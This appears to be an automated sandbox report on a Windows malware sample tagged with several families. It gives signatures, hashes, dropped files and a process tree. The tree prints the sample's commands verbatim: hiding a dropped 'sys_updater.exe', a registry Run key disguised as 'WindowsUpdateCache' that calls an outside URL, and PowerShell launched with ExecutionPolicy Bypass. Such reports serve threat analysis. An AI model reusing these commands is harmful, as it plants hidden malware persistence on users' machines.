Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    23/04/2026, 14:02

General

  • Target
    2026-04-23_bd146b4d0ab14b8e94c6c7edfd992818_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
  • Size 5.3MB
  • Sample260423-rca32afx7v
  • SHA256 adfbef2e161997f1522f4a6fa02edeca1c836c93c948489f91987d120c077bc0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects Windows executables referencing non-Windows User-Agents 1 IoCs
  • Drops startup file 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-23_bd146b4d0ab14b8e94c6c7edfd992818_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-23_bd146b4d0ab14b8e94c6c7edfd992818_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"
    1⤵
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1324
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\UpdateData\sys_updater.exe
      2⤵
      • Views/modifies file attributes
      PID:2496
    • C:\Windows\system32\cmd.exe
      cmd /C "reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsUpdateCache\" /t REG_SZ /d \"\\\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\UpdateData\sys_updater.exe\\\" https://vortex.fayber.dev\" /f"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2176
      • C:\Windows\system32\reg.exe
        reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsUpdateCache\" /t REG_SZ /d \"\\\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\UpdateData\sys_updater.exe\\\" https://vortex.fayber.dev\" /f
        3⤵
          PID:4736
      • C:\Windows\system32\conhost.exe
        \\?\C:\Windows\system32\conhost.exe --headless --width 80 --height 40 --signal 0x224 --server 0x220
        2⤵
          PID:5096
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4932
        • C:\Windows\system32\conhost.exe
          \\?\C:\Windows\system32\conhost.exe --headless --width 80 --height 40 --signal 0x4ac --server 0x4a8
          2⤵
            PID:2448
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1960

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              sys_updater.exe

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\UpdateData\sys_updater.exe
              • Size 5.3MB
              • SHA256 adfbef2e161997f1522f4a6fa02edeca1c836c93c948489f91987d120c077bc0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_djfnamzr.mxs.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_djfnamzr.mxs.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/1960-46-0x0000024E70D30000-0x0000024E70D3C000-memory.dmp

              memory/1960-47-0x0000024E71100000-0x0000024E71112000-memory.dmp

              memory/4932-4-0x0000015CB3530000-0x0000015CB3540000-memory.dmp

              memory/4932-5-0x0000015CCB720000-0x0000015CCB742000-memory.dmp

              memory/4932-12-0x0000015CB3530000-0x0000015CB3540000-memory.dmp

              memory/4932-13-0x0000015CB3530000-0x0000015CB3540000-memory.dmp

              memory/4932-14-0x0000015CB3530000-0x0000015CB3540000-memory.dmp

              memory/4932-15-0x0000015CB3490000-0x0000015CB349C000-memory.dmp

              memory/4932-17-0x0000015CB3530000-0x0000015CB3540000-memory.dmp

              memory/4932-16-0x0000015CB35B0000-0x0000015CB35C2000-memory.dmp